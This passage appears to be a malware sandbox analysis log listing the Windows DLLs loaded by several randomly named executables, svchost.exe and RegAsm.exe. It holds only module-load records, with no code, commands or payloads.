Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Section loaded: mscorjit.dll
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: mozglue.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: wsock32.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msisip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wshext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appxsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: opcservices.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: esdsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: scrrun.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
